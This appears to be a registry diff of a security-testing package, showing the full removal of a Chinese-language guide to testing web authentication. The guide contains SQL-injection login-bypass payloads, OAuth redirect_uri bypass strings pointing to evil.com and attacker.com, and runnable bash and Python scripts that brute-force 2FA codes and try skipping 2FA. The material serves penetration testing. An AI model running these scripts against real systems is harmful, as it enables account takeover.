opencode-api-security-testing 3.0.8 → 3.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/agents/api-cyber-supervisor.md +9 -3
- package/agents/api-probing-miner.md +10 -2
- package/agents/api-resource-specialist.md +44 -35
- package/agents/api-vuln-verifier.md +56 -24
- package/package.json +1 -1
- package/postinstall.mjs +1 -0
- package/preuninstall.mjs +43 -32
- package/src/index.ts +3 -100
- package/README.md +0 -74
- package/SKILL.md +0 -1797
- package/core/advanced_recon.py +0 -788
- package/core/agentic_analyzer.py +0 -445
- package/core/analyzers/api_parser.py +0 -210
- package/core/analyzers/response_analyzer.py +0 -212
- package/core/analyzers/sensitive_finder.py +0 -184
- package/core/api_fuzzer.py +0 -422
- package/core/api_interceptor.py +0 -525
- package/core/api_parser.py +0 -955
- package/core/browser_tester.py +0 -479
- package/core/cloud_storage_tester.py +0 -1330
- package/core/collectors/__init__.py +0 -23
- package/core/collectors/api_path_finder.py +0 -300
- package/core/collectors/browser_collect.py +0 -645
- package/core/collectors/browser_collector.py +0 -411
- package/core/collectors/http_client.py +0 -111
- package/core/collectors/js_collector.py +0 -490
- package/core/collectors/js_parser.py +0 -780
- package/core/collectors/url_collector.py +0 -319
- package/core/context_manager.py +0 -682
- package/core/deep_api_tester_v35.py +0 -844
- package/core/deep_api_tester_v55.py +0 -366
- package/core/dynamic_api_analyzer.py +0 -532
- package/core/http_client.py +0 -179
- package/core/models.py +0 -296
- package/core/orchestrator.py +0 -890
- package/core/prerequisite.py +0 -227
- package/core/reasoning_engine.py +0 -1042
- package/core/response_classifier.py +0 -606
- package/core/runner.py +0 -938
- package/core/scan_engine.py +0 -599
- package/core/skill_executor.py +0 -435
- package/core/skill_executor_v2.py +0 -670
- package/core/skill_executor_v3.py +0 -704
- package/core/smart_analyzer.py +0 -687
- package/core/strategy_pool.py +0 -707
- package/core/testers/auth_tester.py +0 -264
- package/core/testers/idor_tester.py +0 -200
- package/core/testers/sqli_tester.py +0 -211
- package/core/testing_loop.py +0 -655
- package/core/utils/base_path_dict.py +0 -255
- package/core/utils/payload_lib.py +0 -167
- package/core/utils/ssrf_detector.py +0 -220
- package/core/verifiers/vuln_verifier.py +0 -536
- package/references/README.md +0 -72
- package/references/asset-discovery.md +0 -119
- package/references/fuzzing-patterns.md +0 -129
- package/references/graphql-guidance.md +0 -108
- package/references/intake.md +0 -84
- package/references/pua-agent.md +0 -192
- package/references/report-template.md +0 -156
- package/references/rest-guidance.md +0 -76
- package/references/severity-model.md +0 -76
- package/references/test-matrix.md +0 -86
- package/references/validation.md +0 -78
- package/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/vulnerabilities/README.md +0 -148
- package/references/workflows.md +0 -192
- package/src/hooks/directory-agents-injector.ts +0 -106
|
@@ -1,537 +0,0 @@
|
|
|
1
|
-
# 认证漏洞测试
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
认证漏洞包括认证绕过、会话劫持、密码重置、OAuth/OIDC漏洞、SAML漏洞、2FA绕过等。
|
|
6
|
-
|
|
7
|
-
**危险等级**: 高
|
|
8
|
-
|
|
9
|
-
## 2. 测试点识别
|
|
10
|
-
|
|
11
|
-
### 2.1 常见认证接口
|
|
12
|
-
|
|
13
|
-
| 接口类型 | 示例 |
|
|
14
|
-
|----------|------|
|
|
15
|
-
| 登录接口 | `/login`, `/signin`, `/api/auth/login` |
|
|
16
|
-
| 注册接口 | `/register`, `/signup`, `/api/auth/register` |
|
|
17
|
-
| 密码重置 | `/reset-password`, `/forgot-password` |
|
|
18
|
-
| OAuth授权 | `/oauth/authorize`, `/oauth/login` |
|
|
19
|
-
| 2FA验证 | `/2fa`, `/mfa`, `/verify` |
|
|
20
|
-
|
|
21
|
-
## 3. SQL注入绕过认证
|
|
22
|
-
|
|
23
|
-
### 3.1 注释绕过
|
|
24
|
-
|
|
25
|
-
```bash
|
|
26
|
-
# 用户名后加注释
|
|
27
|
-
admin'--
|
|
28
|
-
admin'#
|
|
29
|
-
admin'/*
|
|
30
|
-
admin' or '1'='1
|
|
31
|
-
```
|
|
32
|
-
|
|
33
|
-
### 3.2 OR绕过
|
|
34
|
-
|
|
35
|
-
```bash
|
|
36
|
-
# 万能密码
|
|
37
|
-
' OR '1'='1
|
|
38
|
-
' OR 1=1--
|
|
39
|
-
admin' OR '1'='1
|
|
40
|
-
```
|
|
41
|
-
|
|
42
|
-
### 3.3 空密码绕过
|
|
43
|
-
|
|
44
|
-
```bash
|
|
45
|
-
用户名: admin
|
|
46
|
-
密码: ' or 1=1--
|
|
47
|
-
```
|
|
48
|
-
|
|
49
|
-
### 3.4 大小写绕过
|
|
50
|
-
|
|
51
|
-
```bash
|
|
52
|
-
Admin
|
|
53
|
-
ADMIN
|
|
54
|
-
AdMiN
|
|
55
|
-
```
|
|
56
|
-
|
|
57
|
-
## 4. 会话漏洞
|
|
58
|
-
|
|
59
|
-
### 4.1 Session Fixation
|
|
60
|
-
|
|
61
|
-
```
|
|
62
|
-
攻击步骤:
|
|
63
|
-
1. 攻击者获取有效Session ID
|
|
64
|
-
2. 将Session ID交给受害者
|
|
65
|
-
3. 受害者登录后使用该Session ID
|
|
66
|
-
4. 攻击者使用该Session ID劫持会话
|
|
67
|
-
|
|
68
|
-
测试方法:
|
|
69
|
-
1. 登录前查看Session ID
|
|
70
|
-
2. 登录后对比Session ID
|
|
71
|
-
3. 如果Session ID不变 → Session Fixation漏洞
|
|
72
|
-
```
|
|
73
|
-
|
|
74
|
-
### 4.2 Session Hijacking
|
|
75
|
-
|
|
76
|
-
```
|
|
77
|
-
攻击方法:
|
|
78
|
-
1. 通过XSS窃取Cookie
|
|
79
|
-
2. 通过Network监听窃取
|
|
80
|
-
3. 通过日志文件窃取
|
|
81
|
-
|
|
82
|
-
测试方法:
|
|
83
|
-
1. 检查Cookie是否设置HttpOnly
|
|
84
|
-
2. 检查Cookie是否设置Secure
|
|
85
|
-
3. 检查Session ID是否可预测
|
|
86
|
-
```
|
|
87
|
-
|
|
88
|
-
### 4.3 会话超时测试
|
|
89
|
-
|
|
90
|
-
```bash
|
|
91
|
-
# 检查会话超时时间
|
|
92
|
-
# 登录后等待超时时间
|
|
93
|
-
# 尝试使用之前的Token访问
|
|
94
|
-
```
|
|
95
|
-
|
|
96
|
-
## 5. 密码重置漏洞
|
|
97
|
-
|
|
98
|
-
### 5.1 Token可预测
|
|
99
|
-
|
|
100
|
-
```bash
|
|
101
|
-
# 检查Token格式
|
|
102
|
-
# 常见不安全的Token:
|
|
103
|
-
# - 递增数字:reset_token=12345
|
|
104
|
-
# - 时间戳:reset_token=1609459200
|
|
105
|
-
# - 用户ID:reset_token=user123
|
|
106
|
-
# - 弱加密:reset_token=base64(user_id)
|
|
107
|
-
```
|
|
108
|
-
|
|
109
|
-
### 5.2 Token泄露
|
|
110
|
-
|
|
111
|
-
```bash
|
|
112
|
-
# 检查Token是否泄露在
|
|
113
|
-
# - URL参数
|
|
114
|
-
# - Referer头
|
|
115
|
-
# - 邮件日志
|
|
116
|
-
# - 服务器日志
|
|
117
|
-
```
|
|
118
|
-
|
|
119
|
-
### 5.3 Token复用
|
|
120
|
-
|
|
121
|
-
```bash
|
|
122
|
-
# 1. 请求密码重置
|
|
123
|
-
POST /api/reset-password
|
|
124
|
-
{"email": "victim@example.com"}
|
|
125
|
-
|
|
126
|
-
# 2. 使用Token重置密码
|
|
127
|
-
POST /api/reset-password
|
|
128
|
-
{"token": "xxx", "new_password": "hacked"}
|
|
129
|
-
|
|
130
|
-
# 3. 尝试复用同一Token
|
|
131
|
-
POST /api/reset-password
|
|
132
|
-
{"token": "xxx", "new_password": "hacked2"}
|
|
133
|
-
# 如果成功 → Token可复用漏洞
|
|
134
|
-
```
|
|
135
|
-
|
|
136
|
-
### 5.4 邮箱绑定漏洞
|
|
137
|
-
|
|
138
|
-
```bash
|
|
139
|
-
# 修改密码时检查邮箱验证
|
|
140
|
-
POST /api/reset-password
|
|
141
|
-
{
|
|
142
|
-
"token": "xxx",
|
|
143
|
-
"new_password": "xxx",
|
|
144
|
-
"email": "attacker@example.com" # 尝试修改为攻击者邮箱
|
|
145
|
-
}
|
|
146
|
-
```
|
|
147
|
-
|
|
148
|
-
## 6. OAuth/OIDC漏洞
|
|
149
|
-
|
|
150
|
-
### 6.1 redirect_uri绕过
|
|
151
|
-
|
|
152
|
-
```bash
|
|
153
|
-
# 正常redirect_uri
|
|
154
|
-
http://target.com/callback
|
|
155
|
-
|
|
156
|
-
# 绕过尝试
|
|
157
|
-
http://target.com.attacker.com
|
|
158
|
-
http://target.com/callback.evil.com
|
|
159
|
-
http://target.com/callback%23.evil.com
|
|
160
|
-
http://target.com/callback/../evil.com
|
|
161
|
-
http://target.com/callback#@evil.com
|
|
162
|
-
```
|
|
163
|
-
|
|
164
|
-
### 6.2 state参数缺失
|
|
165
|
-
|
|
166
|
-
```bash
|
|
167
|
-
# 检查OAuth流程是否使用state参数
|
|
168
|
-
# 如果没有state参数 → CSRF攻击
|
|
169
|
-
|
|
170
|
-
# 测试:
|
|
171
|
-
1. 创建恶意页面诱导用户点击
|
|
172
|
-
2. 用户完成OAuth授权
|
|
173
|
-
3. 攻击者获取授权码
|
|
174
|
-
4. 攻击者完成认证
|
|
175
|
-
```
|
|
176
|
-
|
|
177
|
-
### 6.3 scope扩大
|
|
178
|
-
|
|
179
|
-
```bash
|
|
180
|
-
# 请求基础scope
|
|
181
|
-
scope=openid,profile
|
|
182
|
-
|
|
183
|
-
# 尝试扩大scope
|
|
184
|
-
scope=openid,profile,email,admin
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
### 6.4 Token泄露
|
|
188
|
-
|
|
189
|
-
```bash
|
|
190
|
-
# 检查Token是否在URL中传递
|
|
191
|
-
# 检查Token是否存储在日志中
|
|
192
|
-
# 检查access_token是否可替代refresh_token使用
|
|
193
|
-
```
|
|
194
|
-
|
|
195
|
-
### 6.5 OAuth curl测试
|
|
196
|
-
|
|
197
|
-
```bash
|
|
198
|
-
#!/bin/bash
|
|
199
|
-
# OAuth漏洞测试脚本
|
|
200
|
-
|
|
201
|
-
TARGET="https://oauth.target.com"
|
|
202
|
-
CLIENT_ID="app_id"
|
|
203
|
-
REDIRECT_URI="http://target.com/callback"
|
|
204
|
-
|
|
205
|
-
echo "=== OAuth漏洞测试 ==="
|
|
206
|
-
|
|
207
|
-
# 1. redirect_uri绕过测试
|
|
208
|
-
echo "[1] redirect_uri绕过测试"
|
|
209
|
-
REDIRECT_URIS=(
|
|
210
|
-
"http://evil.com/callback"
|
|
211
|
-
"http://target.com.attacker.com/callback"
|
|
212
|
-
"http://target.com/callback.evil.com"
|
|
213
|
-
"http://target.com/callback#@evil.com"
|
|
214
|
-
)
|
|
215
|
-
|
|
216
|
-
for URI in "${REDIRECT_URIS[@]}"; do
|
|
217
|
-
RESP=$(curl -s -I "https://oauth.target.com/authorize?client_id=${CLIENT_ID}&redirect_uri=${URI}&response_type=code&scope=openid")
|
|
218
|
-
LOCATION=$(echo "$RESP" | grep -i "^Location:" | head -1)
|
|
219
|
-
|
|
220
|
-
if echo "$LOCATION" | grep -q "error"; then
|
|
221
|
-
echo " [安全] $URI: 被拒绝"
|
|
222
|
-
elif echo "$LOCATION" | grep -q "$URI"; then
|
|
223
|
-
echo " [漏洞] $URI: redirect_uri被接受"
|
|
224
|
-
else
|
|
225
|
-
echo " [未知] $URI"
|
|
226
|
-
fi
|
|
227
|
-
done
|
|
228
|
-
|
|
229
|
-
# 2. state参数测试
|
|
230
|
-
echo ""
|
|
231
|
-
echo "[2] state参数测试"
|
|
232
|
-
RESP=$(curl -s "https://oauth.target.com/authorize?client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&response_type=code")
|
|
233
|
-
if echo "$RESP" | grep -q "state"; then
|
|
234
|
-
echo " [有state] state参数存在"
|
|
235
|
-
else
|
|
236
|
-
echo " [漏洞] state参数缺失,可能存在CSRF"
|
|
237
|
-
fi
|
|
238
|
-
```
|
|
239
|
-
|
|
240
|
-
## 7. SAML漏洞
|
|
241
|
-
|
|
242
|
-
### 7.1 SAML重放
|
|
243
|
-
|
|
244
|
-
```bash
|
|
245
|
-
# 捕获有效的SAML Assertion
|
|
246
|
-
# 尝试重放该Assertion
|
|
247
|
-
```
|
|
248
|
-
|
|
249
|
-
### 7.2 XML签名绕过
|
|
250
|
-
|
|
251
|
-
```bash
|
|
252
|
-
# 删除签名
|
|
253
|
-
# 修改Assertion后重新签名
|
|
254
|
-
# 使用空的签名
|
|
255
|
-
```
|
|
256
|
-
|
|
257
|
-
### 7.3 SAML curl测试
|
|
258
|
-
|
|
259
|
-
```bash
|
|
260
|
-
#!/bin/bash
|
|
261
|
-
# SAML漏洞测试脚本
|
|
262
|
-
|
|
263
|
-
TARGET="https://saml.target.com"
|
|
264
|
-
|
|
265
|
-
echo "=== SAML漏洞测试 ==="
|
|
266
|
-
|
|
267
|
-
# 1. 检查SAML Endpoint
|
|
268
|
-
echo "[1] 检查SAML Endpoint"
|
|
269
|
-
curl -sI "$TARGET/saml/login" | grep -i "saml"
|
|
270
|
-
|
|
271
|
-
# 2. 检查XML签名
|
|
272
|
-
echo ""
|
|
273
|
-
echo "[2] XML签名测试"
|
|
274
|
-
# 提取SAML Response并检查签名配置
|
|
275
|
-
```
|
|
276
|
-
|
|
277
|
-
## 8. 2FA/OTP绕过
|
|
278
|
-
|
|
279
|
-
### 8.1 暴力破解2FA码
|
|
280
|
-
|
|
281
|
-
```bash
|
|
282
|
-
# 4位数字:10000种组合
|
|
283
|
-
# 6位数字:1000000种组合
|
|
284
|
-
|
|
285
|
-
#!/bin/bash
|
|
286
|
-
TARGET="http://api/verify-2fa"
|
|
287
|
-
CODE_FILE="/tmp/2fa_codes.txt"
|
|
288
|
-
|
|
289
|
-
# 生成4位数字密码
|
|
290
|
-
for i in {0000..9999}; do
|
|
291
|
-
echo "$i" >> "$CODE_FILE"
|
|
292
|
-
done
|
|
293
|
-
|
|
294
|
-
# 批量测试
|
|
295
|
-
while read CODE; do
|
|
296
|
-
RESP=$(curl -s -X POST "$TARGET" -d "{\"code\":\"$CODE\"}")
|
|
297
|
-
if echo "$RESP" | grep -q "success"; then
|
|
298
|
-
echo "[成功] 2FA码: $CODE"
|
|
299
|
-
break
|
|
300
|
-
fi
|
|
301
|
-
done < "$CODE_FILE"
|
|
302
|
-
```
|
|
303
|
-
|
|
304
|
-
### 8.2 2FA码复用
|
|
305
|
-
|
|
306
|
-
```bash
|
|
307
|
-
# 1. 获取有效的2FA码
|
|
308
|
-
# 2. 使用同一2FA码多次尝试
|
|
309
|
-
# 3. 如果第二次成功 → 2FA码可复用漏洞
|
|
310
|
-
```
|
|
311
|
-
|
|
312
|
-
### 8.3 2FA绕过
|
|
313
|
-
|
|
314
|
-
```bash
|
|
315
|
-
# 1. 删除2FA参数
|
|
316
|
-
POST /api/login
|
|
317
|
-
{"username": "admin", "password": "xxx"}
|
|
318
|
-
|
|
319
|
-
# 2. 尝试空2FA码
|
|
320
|
-
POST /api/verify-2fa
|
|
321
|
-
{"code": ""}
|
|
322
|
-
|
|
323
|
-
# 3. 尝试跳过2FA
|
|
324
|
-
POST /api/login-step2
|
|
325
|
-
{"skip_2fa": true}
|
|
326
|
-
|
|
327
|
-
# 4. Session Riding
|
|
328
|
-
# 捕获用户完成2FA后的Session,强制用户使用该Session
|
|
329
|
-
```
|
|
330
|
-
|
|
331
|
-
### 8.4 2FA Python测试脚本
|
|
332
|
-
|
|
333
|
-
```python
|
|
334
|
-
import requests
|
|
335
|
-
|
|
336
|
-
class TwoFATester:
|
|
337
|
-
def __init__(self, target):
|
|
338
|
-
self.target = target
|
|
339
|
-
|
|
340
|
-
def test_brute_force(self, username, password, max_attempts=10000):
|
|
341
|
-
"""测试2FA暴力破解"""
|
|
342
|
-
print(f"\n=== 2FA暴力破解测试 ===")
|
|
343
|
-
|
|
344
|
-
# 先登录获取2FA session
|
|
345
|
-
login_resp = requests.post(
|
|
346
|
-
f"{self.target}/login",
|
|
347
|
-
json={"username": username, "password": password}
|
|
348
|
-
)
|
|
349
|
-
|
|
350
|
-
if login_resp.status_code != 200:
|
|
351
|
-
return False, "登录失败"
|
|
352
|
-
|
|
353
|
-
session = login_resp.cookies
|
|
354
|
-
|
|
355
|
-
# 暴力破解2FA码
|
|
356
|
-
for i in range(max_attempts):
|
|
357
|
-
code = f"{i:04d}" # 4位数字
|
|
358
|
-
resp = requests.post(
|
|
359
|
-
f"{self.target}/verify-2fa",
|
|
360
|
-
json={"code": code},
|
|
361
|
-
cookies=session
|
|
362
|
-
)
|
|
363
|
-
|
|
364
|
-
if resp.status_code == 200:
|
|
365
|
-
try:
|
|
366
|
-
data = resp.json()
|
|
367
|
-
if data.get('success') or data.get('code') == 0:
|
|
368
|
-
return True, f"成功! 2FA码: {code}"
|
|
369
|
-
except:
|
|
370
|
-
pass
|
|
371
|
-
|
|
372
|
-
if i % 100 == 0:
|
|
373
|
-
print(f" 已测试 {i} 个码...")
|
|
374
|
-
|
|
375
|
-
return False, f"暴力破解失败 ({max_attempts}次)"
|
|
376
|
-
|
|
377
|
-
def test_reuse(self, username, password, code):
|
|
378
|
-
"""测试2FA码复用"""
|
|
379
|
-
print(f"\n=== 2FA码复用测试 ===")
|
|
380
|
-
|
|
381
|
-
# 第一次使用
|
|
382
|
-
login_resp = requests.post(
|
|
383
|
-
f"{self.target}/login",
|
|
384
|
-
json={"username": username, "password": password}
|
|
385
|
-
)
|
|
386
|
-
session = login_resp.cookies
|
|
387
|
-
|
|
388
|
-
resp1 = requests.post(
|
|
389
|
-
f"{self.target}/verify-2fa",
|
|
390
|
-
json={"code": code},
|
|
391
|
-
cookies=session
|
|
392
|
-
)
|
|
393
|
-
|
|
394
|
-
# 第二次使用同一码
|
|
395
|
-
resp2 = requests.post(
|
|
396
|
-
f"{self.target}/verify-2fa",
|
|
397
|
-
json={"code": code},
|
|
398
|
-
cookies=session
|
|
399
|
-
)
|
|
400
|
-
|
|
401
|
-
if resp1.status_code == 200 and resp2.status_code == 200:
|
|
402
|
-
return True, "2FA码可复用,漏洞存在"
|
|
403
|
-
return False, "2FA码不可复用"
|
|
404
|
-
|
|
405
|
-
def test_skip(self, username, password):
|
|
406
|
-
"""测试2FA跳过"""
|
|
407
|
-
print(f"\n=== 2FA跳过测试 ===")
|
|
408
|
-
|
|
409
|
-
# 登录
|
|
410
|
-
login_resp = requests.post(
|
|
411
|
-
f"{self.target}/login",
|
|
412
|
-
json={"username": username, "password": password}
|
|
413
|
-
)
|
|
414
|
-
session = login_resp.cookies
|
|
415
|
-
|
|
416
|
-
# 尝试跳过2FA
|
|
417
|
-
skip_resp = requests.post(
|
|
418
|
-
f"{self.target}/verify-2fa",
|
|
419
|
-
json={"skip": True},
|
|
420
|
-
cookies=session
|
|
421
|
-
)
|
|
422
|
-
|
|
423
|
-
if skip_resp.status_code == 200:
|
|
424
|
-
try:
|
|
425
|
-
data = skip_resp.json()
|
|
426
|
-
if data.get('success'):
|
|
427
|
-
return True, "可跳过2FA验证"
|
|
428
|
-
except:
|
|
429
|
-
pass
|
|
430
|
-
|
|
431
|
-
return False, "不能跳过2FA验证"
|
|
432
|
-
```
|
|
433
|
-
|
|
434
|
-
## 9. 认证漏洞误报判断标准
|
|
435
|
-
|
|
436
|
-
### 9.1 核心判断原则
|
|
437
|
-
|
|
438
|
-
```
|
|
439
|
-
【重要】认证测试需要明确区分"安全机制"和"安全漏洞"
|
|
440
|
-
|
|
441
|
-
判断逻辑:
|
|
442
|
-
1. 先确认是否有适当的防护机制
|
|
443
|
-
2. 再测试防护机制是否可绕过
|
|
444
|
-
3. 最后评估绕过后的实际影响
|
|
445
|
-
|
|
446
|
-
【真实漏洞特征】
|
|
447
|
-
- 认证可被绕过
|
|
448
|
-
- 密码可被暴力破解
|
|
449
|
-
- Session可被劫持
|
|
450
|
-
- 2FA可被绕过
|
|
451
|
-
|
|
452
|
-
【正常情况(不是漏洞)】
|
|
453
|
-
- 暴力破解被限制/锁定
|
|
454
|
-
- Session正确更新
|
|
455
|
-
- 2FA码正确验证
|
|
456
|
-
```
|
|
457
|
-
|
|
458
|
-
### 9.2 curl + 对比验证流程
|
|
459
|
-
|
|
460
|
-
```bash
|
|
461
|
-
#!/bin/bash
|
|
462
|
-
# 认证漏洞测试脚本
|
|
463
|
-
|
|
464
|
-
TARGET="http://api"
|
|
465
|
-
|
|
466
|
-
echo "=== 认证漏洞测试 ==="
|
|
467
|
-
|
|
468
|
-
# 1. SQL注入绕过测试
|
|
469
|
-
echo "[1] SQL注入绕过测试"
|
|
470
|
-
PAYLOADS=(
|
|
471
|
-
"admin'--"
|
|
472
|
-
"admin' or '1'='1"
|
|
473
|
-
"admin' or 1=1--"
|
|
474
|
-
)
|
|
475
|
-
|
|
476
|
-
for PAYLOAD in "${PAYLOADS[@]}"; do
|
|
477
|
-
RESP=$(curl -s -X POST "$TARGET/login" \
|
|
478
|
-
-H "Content-Type: application/json" \
|
|
479
|
-
-d "{\"username\":\"$PAYLOAD\",\"password\":\"any\"}")
|
|
480
|
-
|
|
481
|
-
if echo "$RESP" | grep -q '"token"'; then
|
|
482
|
-
echo " [漏洞] SQL注入绕过成功"
|
|
483
|
-
echo " Payload: $PAYLOAD"
|
|
484
|
-
fi
|
|
485
|
-
done
|
|
486
|
-
|
|
487
|
-
# 2. 暴力破解测试
|
|
488
|
-
echo ""
|
|
489
|
-
echo "[2] 暴力破解测试(5次)"
|
|
490
|
-
for i in {1..5}; do
|
|
491
|
-
RESP=$(curl -s -X POST "$TARGET/login" \
|
|
492
|
-
-H "Content-Type: application/json" \
|
|
493
|
-
-d "{\"username\":\"admin\",\"password\":\"wrong$i\"}")
|
|
494
|
-
|
|
495
|
-
if echo "$RESP" | grep -qi "lock\|captcha\|limit"; then
|
|
496
|
-
echo " [安全] 第$i次:发现限制机制"
|
|
497
|
-
break
|
|
498
|
-
fi
|
|
499
|
-
echo " 第$i次:无限制"
|
|
500
|
-
done
|
|
501
|
-
|
|
502
|
-
# 3. Session Fixation测试
|
|
503
|
-
echo ""
|
|
504
|
-
echo "[3] Session Fixation测试"
|
|
505
|
-
SESSION_BEFORE=$(curl -sI "$TARGET/login" | grep -i "set-cookie" | head -1)
|
|
506
|
-
echo " 登录前Cookie: $SESSION_BEFORE"
|
|
507
|
-
```
|
|
508
|
-
|
|
509
|
-
## 10. 认证安全配置检查表
|
|
510
|
-
|
|
511
|
-
| 检查项 | 安全配置 | 风险 |
|
|
512
|
-
|--------|----------|------|
|
|
513
|
-
| 密码强度 | 至少8位,含大小写+数字+特殊字符 | 低 |
|
|
514
|
-
| 登录限制 | 5次失败后锁定15分钟 | 低 |
|
|
515
|
-
| 验证码 | 有图形/滑块验证码 | 中 |
|
|
516
|
-
| Session更新 | 登录后更换Session ID | 低 |
|
|
517
|
-
| Cookie安全 | HttpOnly + Secure + SameSite | 低 |
|
|
518
|
-
| 2FA | 支持2FA认证 | 低 |
|
|
519
|
-
| 密码重置 | Token一次性使用 | 低 |
|
|
520
|
-
| OAuth | state参数、redirect_uri验证 | 低 |
|
|
521
|
-
|
|
522
|
-
## 11. 测试检查清单
|
|
523
|
-
|
|
524
|
-
```
|
|
525
|
-
□ 测试SQL注入绕过认证
|
|
526
|
-
□ 测试暴力破解防护
|
|
527
|
-
□ 测试验证码是否存在
|
|
528
|
-
□ 测试Session Fixation
|
|
529
|
-
□ 测试Session超时
|
|
530
|
-
□ 测试密码重置Token
|
|
531
|
-
□ 测试OAuth redirect_uri
|
|
532
|
-
□ 测试SAML签名
|
|
533
|
-
□ 测试2FA暴力破解
|
|
534
|
-
□ 测试2FA绕过
|
|
535
|
-
□ 检查Cookie安全配置
|
|
536
|
-
□ 检查认证响应头
|
|
537
|
-
```
|